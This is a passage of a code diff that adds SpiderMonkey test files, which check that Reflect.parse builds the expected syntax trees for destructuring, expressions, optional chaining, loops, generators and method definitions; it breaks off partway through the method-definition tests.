diff --git a/js/src/tests/non262/reflect-parse/destructuring-assignment.js b/js/src/tests/non262/reflect-parse/destructuring-assignment.js
new file mode 100644
index 0000000000..cba4197ee9
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-assignment.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring assignment
+
+function testAssignmentCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n + " = 0"), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (aExpr("=", ident("x" + n), lit(0))), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ var src = pattSrcs[i].join(",");
+ var patt = pattPatts[i].length === 1 ? pattPatts[i][0] : seqExpr(pattPatts[i]);
+
+ // assignment expression statement
+ assertExpr("(" + src + ")", patt);
+
+ // for-loop head assignment
+ assertStmt("for (" + src + "; foo; bar);",
+ forStmt(patt, ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testAssignmentCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => (aExpr("=",
+ objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ lit(0))));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js b/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js
new file mode 100644
index 0000000000..6b3a777379
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js
@@ -0,0 +1,45 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+function test() {
+
+function testParamPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (ident("x" + n)), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ function makeSrc(body) {
+ return "(function(" + pattSrcs[i].join(",") + ") " + body + ")";
+ }
+ function makePatt(body) {
+ return funExpr(null, pattPatts[i], body);
+ }
+
+ // no upvars, block body
+ assertExpr(makeSrc("{ }"), makePatt(blockStmt([])));
+ // upvars, block body
+ assertExpr(makeSrc("{ return [x1,x2,x3,x4,x5]; }"),
+ makePatt(blockStmt([returnStmt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")]))])));
+ }
+}
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))])));
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))])));
+
+testParamPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "]"),
+ n => (arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)])));
+
+testParamPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "]"),
+ n => (arrPatt([assignElem("a" + n), spread(ident("b" + n))])));
+
+testParamPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10]"),
+ n => (arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js b/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js
new file mode 100644
index 0000000000..6a455668af
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js
@@ -0,0 +1,58 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+function test() {
+
+function testVarPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: null }), makePattPatt);
+ // It's illegal to have uninitialized const declarations, so we need a
+ // separate set of patterns and sources.
+ var constSrcs = makePatternCombinations(n => ("x" + n + " = undefined"), makePattSrc);
+ var constPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: ident("undefined") }), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ // variable declarations in blocks
+ assertDecl("var " + pattSrcs[i].join(",") + ";", varDecl(pattPatts[i]));
+
+ assertGlobalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertLocalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+ assertBlockDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i]));
+
+ assertDecl("const " + constSrcs[i].join(",") + ";", constDecl(constPatts[i]));
+
+ // variable declarations in for-loop heads
+ assertStmt("for (var " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(varDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (let " + pattSrcs[i].join(",") + "; foo; bar);",
+ forStmt(letDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ assertStmt("for (const " + constSrcs[i].join(",") + "; foo; bar);",
+ forStmt(constDecl(constPatts[i]), ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10} = 0"),
+ n => ({ id: objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), spread(ident("b" + n))]),
+ init: lit(0) }));
+
+testVarPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10] = 0"),
+ n => ({ id: arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))]),
+ init: lit(0) }));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring__proto__.js b/js/src/tests/non262/reflect-parse/destructuring__proto__.js
new file mode 100644
index 0000000000..3238904086
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring__proto__.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 963641
+
+Reflect.parse("({ __proto__: null });");
+Reflect.parse("var { __proto__: x } = obj;");
+Reflect.parse("var [{ __proto__: y }] = obj;");
+Reflect.parse("[{ __proto__: y }] = arr;");
+Reflect.parse("({ __proto__: y } = obj);");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+
+
+print("Tests complete");
diff --git a/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js b/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js
new file mode 100644
index 0000000000..538b9f31c2
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!xulRuntime.shell||release_or_beta)
+
+function test() {
+
+assertExpr("(x ??= y)", aExpr("??=", ident("x"), ident("y")));
+assertExpr("(x ||= y)", aExpr("||=", ident("x"), ident("y")));
+assertExpr("(x &&= y)", aExpr("&&=", ident("x"), ident("y")));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/expression.js b/js/src/tests/non262/reflect-parse/expression.js
new file mode 100644
index 0000000000..c91525aa98
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/expression.js
@@ -0,0 +1,193 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// primary expressions
+assertExpr("true", lit(true));
+assertExpr("false", lit(false));
+assertExpr("42", lit(42));
+assertExpr("(/asdf/)", lit(/asdf/));
+assertExpr("this", thisExpr);
+assertExpr("foo", ident("foo"));
+if ("BigInt" in this) {
+ assertExpr("1234n", lit(BigInt(1234)));
+}
+
+// member expressions
+assertExpr("foo.bar", dotExpr(ident("foo"), ident("bar")));
+assertExpr("foo[bar]", memExpr(ident("foo"), ident("bar")));
+assertExpr("foo['bar']", memExpr(ident("foo"), lit("bar")));
+assertExpr("foo[42]", memExpr(ident("foo"), lit(42)));
+
+// optional member expressions
+assertExpr("foo?.bar", optExpr(optDotExpr(ident("foo"), ident("bar"))));
+assertExpr("foo?.bar.baz", optExpr(dotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo.bar?.baz", optExpr(optDotExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.bar?.baz", optExpr(optDotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.[bar].baz", optExpr(dotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo.bar?.[baz]", optExpr(optMemExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo[bar]?.[baz]", optExpr(optMemExpr(memExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.[bar][baz]", optExpr(memExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("foo?.['bar']?.['baz']", optExpr(optMemExpr(optMemExpr(ident("foo"), lit("bar")), lit("baz"))));
+assertExpr("foo?.[bar]?.baz", optExpr(optDotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+
+// delete optional expressions
+assertExpr("\ndelete [] ?. [1]", delOptExpr(optMemExpr(arrExpr([]), lit(1))));
+assertExpr("delete foo?.bar", delOptExpr(optDotExpr(ident("foo"), ident("bar"))));
+assertExpr("delete foo?.bar.baz", delOptExpr(dotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo.bar?.baz", delOptExpr(optDotExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.bar?.baz", delOptExpr(optDotExpr(optDotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.[bar].baz", delOptExpr(dotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo.bar?.[baz]", delOptExpr(optMemExpr(dotExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo[bar]?.[baz]", delOptExpr(optMemExpr(memExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.[bar][baz]", delOptExpr(memExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+assertExpr("delete foo?.['bar']?.['baz']", delOptExpr(optMemExpr(optMemExpr(ident("foo"), lit("bar")), lit("baz"))));
+assertExpr("delete foo?.[bar]?.baz", delOptExpr(optDotExpr(optMemExpr(ident("foo"), ident("bar")), ident("baz"))));
+
+// function expressions
+assertExpr("(function(){})", funExpr(null, [], blockStmt([])));
+assertExpr("(function f() {})", funExpr(ident("f"), [], blockStmt([])));
+assertExpr("(function f(x,y,z) {})", funExpr(ident("f"), [ident("x"),ident("y"),ident("z")], blockStmt([])));
+assertExpr("a => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("(a) => a", arrowExpr([ident("a")], ident("a")));
+assertExpr("a => b => a", arrowExpr([ident("a")], arrowExpr([ident("b")], ident("a"))));
+assertExpr("a => {}", arrowExpr([ident("a")], blockStmt([])));
+assertExpr("a => ({})", arrowExpr([ident("a")], objExpr([])));
+assertExpr("(a, b, c) => {}", arrowExpr([ident("a"), ident("b"), ident("c")], blockStmt([])));
+assertExpr("([a, b]) => {}", arrowExpr([arrPatt([assignElem("a"), assignElem("b")])], blockStmt([])));
+
+// Unary expressions
+assertExpr("(++x)", updExpr("++", ident("x"), true));
+assertExpr("(x++)", updExpr("++", ident("x"), false));
+assertExpr("(+x)", unExpr("+", ident("x")));
+assertExpr("(-x)", unExpr("-", ident("x")));
+assertExpr("(!x)", unExpr("!", ident("x")));
+assertExpr("(~x)", unExpr("~", ident("x")));
+assertExpr("(delete x)", unExpr("delete", ident("x")));
+assertExpr("(typeof x)", unExpr("typeof", ident("x")));
+assertExpr("(void x)", unExpr("void", ident("x")));
+
+// Bug 632026: constant-folding
+assertExpr("typeof(0?0:a)", unExpr("typeof", condExpr(lit(0), lit(0), ident("a"))));
+
+// Binary exporessions
+assertExpr("(x == y)", binExpr("==", ident("x"), ident("y")));
+assertExpr("(x != y)", binExpr("!=", ident("x"), ident("y")));
+assertExpr("(x === y)", binExpr("===", ident("x"), ident("y")));
+assertExpr("(x !== y)", binExpr("!==", ident("x"), ident("y")));
+assertExpr("(x < y)", binExpr("<", ident("x"), ident("y")));
+assertExpr("(x <= y)", binExpr("<=", ident("x"), ident("y")));
+assertExpr("(x > y)", binExpr(">", ident("x"), ident("y")));
+assertExpr("(x >= y)", binExpr(">=", ident("x"), ident("y")));
+assertExpr("(x << y)", binExpr("<<", ident("x"), ident("y")));
+assertExpr("(x >> y)", binExpr(">>", ident("x"), ident("y")));
+assertExpr("(x >>> y)", binExpr(">>>", ident("x"), ident("y")));
+assertExpr("(x + y)", binExpr("+", ident("x"), ident("y")));
+assertExpr("(w + x + y + z)", binExpr("+", binExpr("+", binExpr("+", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x - y)", binExpr("-", ident("x"), ident("y")));
+assertExpr("(w - x - y - z)", binExpr("-", binExpr("-", binExpr("-", ident("w"), ident("x")), ident("y")), ident("z")));
+assertExpr("(x * y)", binExpr("*", ident("x"), ident("y")));
+assertExpr("(x / y)", binExpr("/", ident("x"), ident("y")));
+assertExpr("(x % y)", binExpr("%", ident("x"), ident("y")));
+assertExpr("(x | y)", binExpr("|", ident("x"), ident("y")));
+assertExpr("(x ^ y)", binExpr("^", ident("x"), ident("y")));
+assertExpr("(x & y)", binExpr("&", ident("x"), ident("y")));
+assertExpr("(x in y)", binExpr("in", ident("x"), ident("y")));
+assertExpr("(x instanceof y)", binExpr("instanceof", ident("x"), ident("y")));
+
+// Bug 571617: eliminate constant-folding
+assertExpr("2 + 3", binExpr("+", lit(2), lit(3)));
+
+// Assignment expressions
+assertExpr("(x = y)", aExpr("=", ident("x"), ident("y")));
+assertExpr("(x += y)", aExpr("+=", ident("x"), ident("y")));
+assertExpr("(x -= y)", aExpr("-=", ident("x"), ident("y")));
+assertExpr("(x *= y)", aExpr("*=", ident("x"), ident("y")));
+assertExpr("(x /= y)", aExpr("/=", ident("x"), ident("y")));
+assertExpr("(x %= y)", aExpr("%=", ident("x"), ident("y")));
+assertExpr("(x <<= y)", aExpr("<<=", ident("x"), ident("y")));
+assertExpr("(x >>= y)", aExpr(">>=", ident("x"), ident("y")));
+assertExpr("(x >>>= y)", aExpr(">>>=", ident("x"), ident("y")));
+assertExpr("(x |= y)", aExpr("|=", ident("x"), ident("y")));
+assertExpr("(x ^= y)", aExpr("^=", ident("x"), ident("y")));
+assertExpr("(x &= y)", aExpr("&=", ident("x"), ident("y")));
+
+// Conditional expressions
+assertExpr("(x || y)", logExpr("||", ident("x"), ident("y")));
+assertExpr("(x && y)", logExpr("&&", ident("x"), ident("y")));
+assertExpr("(x ?? y)", logExpr("??", ident("x"), ident("y")));
+assertExpr("(w || x || y || z)", logExpr("||", logExpr("||", logExpr("||", ident("w"), ident("x")), ident("y")), ident("z")))
+assertExpr("(x ? y : z)", condExpr(ident("x"), ident("y"), ident("z")));
+
+// Sequence expressions
+assertExpr("(x,y)", seqExpr([ident("x"),ident("y")]))
+assertExpr("(x,y,z)", seqExpr([ident("x"),ident("y"),ident("z")]))
+assertExpr("(a,b,c,d,e,f,g)", seqExpr([ident("a"),ident("b"),ident("c"),ident("d"),ident("e"),ident("f"),ident("g")]));
+
+// Call expressions
+assertExpr("(new Object)", newExpr(ident("Object"), []));
+assertExpr("(new Object())", newExpr(ident("Object"), []));
+assertExpr("(new Object(42))", newExpr(ident("Object"), [lit(42)]));
+assertExpr("(new Object(1,2,3))", newExpr(ident("Object"), [lit(1),lit(2),lit(3)]));
+assertExpr("(String())", callExpr(ident("String"), []));
+assertExpr("(String(42))", callExpr(ident("String"), [lit(42)]));
+assertExpr("(String(1,2,3))", callExpr(ident("String"), [lit(1),lit(2),lit(3)]));
+
+// Optional Call expressions
+assertExpr("(String?.())", optExpr(optCallExpr(ident("String"), [])));
+assertExpr("(String?.(42))", optExpr(optCallExpr(ident("String"), [lit(42)])));
+assertExpr("(String?.(1,2,3))", optExpr(optCallExpr(ident("String"), [lit(1),lit(2),lit(3)])));
+assertExpr("(String?.foo?.())", optExpr(optCallExpr(optDotExpr(ident("String"), ident("foo")), [])));
+assertExpr("(String.foo?.())", optExpr(optCallExpr(dotExpr(ident("String"), ident("foo")), [])));
+assertExpr("(String?.foo)()", callExpr(optExpr(optDotExpr(ident("String"), ident("foo"))), []));
+assertExpr("(String?.foo)?.()", optExpr(optCallExpr(optExpr(optDotExpr(ident("String"), ident("foo"))), [])));
+
+// Array expressions
+assertExpr("[]", arrExpr([]));
+assertExpr("[1]", arrExpr([lit(1)]));
+assertExpr("[1,2]", arrExpr([lit(1),lit(2)]));
+assertExpr("[1,2,3]", arrExpr([lit(1),lit(2),lit(3)]));
+assertExpr("[1,,2,3]", arrExpr([lit(1),null,lit(2),lit(3)]));
+assertExpr("[1,,,2,3]", arrExpr([lit(1),null,null,lit(2),lit(3)]));
+assertExpr("[1,,,2,,3]", arrExpr([lit(1),null,null,lit(2),null,lit(3)]));
+assertExpr("[1,,,2,,,3]", arrExpr([lit(1),null,null,lit(2),null,null,lit(3)]));
+assertExpr("[,1,2,3]", arrExpr([null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,1,2,3]", arrExpr([null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,]", arrExpr([null,null,null,lit(1),lit(2),lit(3)]));
+assertExpr("[,,,1,2,3,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null]));
+assertExpr("[,,,1,2,3,,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null,null]));
+assertExpr("[,,,,,]", arrExpr([null,null,null,null,null]));
+assertExpr("[1, ...a, 2]", arrExpr([lit(1), spread(ident("a")), lit(2)]));
+assertExpr("[,, ...a,, ...b, 42]", arrExpr([null,null, spread(ident("a")),, spread(ident("b")), lit(42)]));
+assertExpr("[1,(2,3)]", arrExpr([lit(1),seqExpr([lit(2),lit(3)])]));
+assertExpr("[,(2,3)]", arrExpr([null,seqExpr([lit(2),lit(3)])]));
+
+// Object expressions
+assertExpr("({})", objExpr([]));
+assertExpr("({x:1})", objExpr([{ key: ident("x"), value: lit(1) }]));
+assertExpr("({x:x, y})", objExpr([{ key: ident("x"), value: ident("x"), shorthand: false },
+ { key: ident("y"), value: ident("y"), shorthand: true }]));
+assertExpr("({x:1, y:2})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) } ]));
+assertExpr("({x:1, y:2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: ident("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({x:1, 'y':2, z:3})", objExpr([{ key: ident("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, z:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: ident("z"), value: lit(3) } ]));
+assertExpr("({'x':1, 'y':2, 3:3})", objExpr([{ key: lit("x"), value: lit(1) },
+ { key: lit("y"), value: lit(2) },
+ { key: lit(3), value: lit(3) } ]));
+assertExpr("({__proto__:x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({'__proto__':x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }]));
+assertExpr("({['__proto__']:x})", objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("x") }]));
+assertExpr("({['__proto__']:q, __proto__() {}, __proto__: null })",
+ objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("q") },
+ { type: "Property", key: ident("__proto__"), method: true },
+ { type: "PrototypeMutation", value: lit(null) }]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/for-loop-destructuring.js b/js/src/tests/non262/reflect-parse/for-loop-destructuring.js
new file mode 100644
index 0000000000..06a745334e
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/for-loop-destructuring.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring in for-in and for-of loop heads
+
+var axbycz = objPatt([assignProp("a", ident("x")),
+ assignProp("b", ident("y")),
+ assignProp("c", ident("z"))]);
+var xyz = arrPatt([assignElem("x"), assignElem("y"), assignElem("z")]);
+
+assertStmt("for (var {a:x,b:y,c:z} in foo);", forInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} in foo);", forInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} in foo);", forInStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] in foo);", forInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] in foo);", forInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] in foo);", forInStmt(xyz, ident("foo"), emptyStmt));
+assertStmt("for (var {a:x,b:y,c:z} of foo);", forOfStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let {a:x,b:y,c:z} of foo);", forOfStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ({a:x,b:y,c:z} of foo);", forOfStmt(axbycz, ident("foo"), emptyStmt));
+assertStmt("for (var [x,y,z] of foo);", forOfStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (let [x,y,z] of foo);", forOfStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for ([x,y,z] of foo);", forOfStmt(xyz, ident("foo"), emptyStmt));
+
+assertStmt("for (const x in foo);",
+ forInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} in foo);",
+ forInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] in foo);",
+ forInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertStmt("for (const x of foo);",
+ forOfStmt(constDecl([{id: ident("x"), init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const {a:x,b:y,c:z} of foo);",
+ forOfStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt));
+assertStmt("for (const [x,y,z] of foo);",
+ forOfStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt));
+
+assertError("for (x = 22 in foo);", SyntaxError);-
+assertError("for ({a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for ([x,y,z] = 22 in foo);", SyntaxError);
+assertError("for (const x = 22 in foo);", SyntaxError);
+assertError("for (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError);
+assertError("for (const [x,y,z] = 22 in foo);", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/generators.js b/js/src/tests/non262/reflect-parse/generators.js
new file mode 100644
index 0000000000..14bac5b527
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/generators.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// generators
+
+assertDecl("function* gen() {}", genFunDecl("es6", ident("gen"), [], blockStmt([])));
+assertExpr("(function*() {})", genFunExpr("es6", null, [], blockStmt([])));
+assertExpr("(function* gen() {})", genFunExpr("es6", ident("gen"), [], blockStmt([])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/lexicals.js b/js/src/tests/non262/reflect-parse/lexicals.js
new file mode 100644
index 0000000000..c42c43c32f
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/lexicals.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// global let is var
+assertGlobalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// function-global let is let
+assertLocalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// block-local let is let
+assertBlockDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+assertDecl("const {x:y} = foo;", constDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/location.js b/js/src/tests/non262/reflect-parse/location.js
new file mode 100644
index 0000000000..7e7a26a9e6
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/location.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Source location information
+var withoutFileOrLine = Reflect.parse("42");
+var withFile = Reflect.parse("42", {source:"foo.js"});
+var withFileAndLine = Reflect.parse("42", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withoutFileOrLine.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withFile.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 111, column: 2 } }).match(withFileAndLine.loc);
+
+var withoutFileOrLine2 = Reflect.parse("foo +\nbar");
+var withFile2 = Reflect.parse("foo +\nbar", {source:"foo.js"});
+var withFileAndLine2 = Reflect.parse("foo +\nbar", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withoutFileOrLine2.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withFile2.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 112, column: 3 } }).match(withFileAndLine2.loc);
+
+var nested = Reflect.parse("(-b + sqrt(sqr(b) - 4 * a * c)) / (2 * a)", {source:"quad.js"});
+var fourAC = nested.body[0].expression.left.right.arguments[0].right;
+
+Pattern({ source: "quad.js", start: { line: 1, column: 20 }, end: { line: 1, column: 29 } }).match(fourAC.loc);
+
+// No source location
+
+assertEq("loc" in Reflect.parse("42", {loc:false}), false);
+program([exprStmt(lit(42))]).assert(Reflect.parse("42", {loc:false}));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/methodDefn.js b/js/src/tests/non262/reflect-parse/methodDefn.js
new file mode 100644
index 0000000000..cad9b44435
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/methodDefn.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924672: Method definitions
+assertExpr("b = { a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: funExpr(ident("a"), [], blockStmt([])), method:
+ true}])));
+
+assertExpr("b = { *a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: genFunExpr("es6", ident("a"), [], blockStmt([])), method:
+ true}])));
+
+// Method definitions without braces
+assertError("({ a() void 0 })", SyntaxError);
+assertError("({ a() 1 })", SyntaxError);
+assertError("({ a() false })", SyntaxError);
+
+// getters and setters
+
+assertExpr("({ get x() { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("get x"), [], blockStmt([returnStmt(lit(42))])),
+ kind: "get" } ]));
+assertExpr("({ set x(v) { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("set x"), [ident("v")], blockStmt([returnStmt(lit(42))])),
+ kind: "set" } ]));
+
+// Bug 1073809 - Getter/setter syntax with generators
+assertExpr("({*get() { }})", objExpr([{ type: "Property", key: ident("get"), method: true,
+ value: genFunExpr("es6", ident("get"), [], blockStmt([]))}]));
+assertExpr("({*set() { }})", objExpr([{ type: "Property", key: ident("set"), method: true,
+ value: genFunExpr("es6", ident("set"), [], blockStmt([]))}]));
+assertError("({*get foo() { }})", SyntaxError);
+assertError("({*set foo() { }})", SyntaxError);
+
+assertError("({ *get 1() {} })", SyntaxError);
+assertError("({ *get \"\"() {} })", SyntaxError);
+assertError("({ *get foo() {} })", SyntaxError);
+assertError("({ *get []() {} })", SyntaxError);
+assertError("({ *get [1]() {} })", SyntaxError);
+
+assertError("({ *set 1() {} })", SyntaxError);
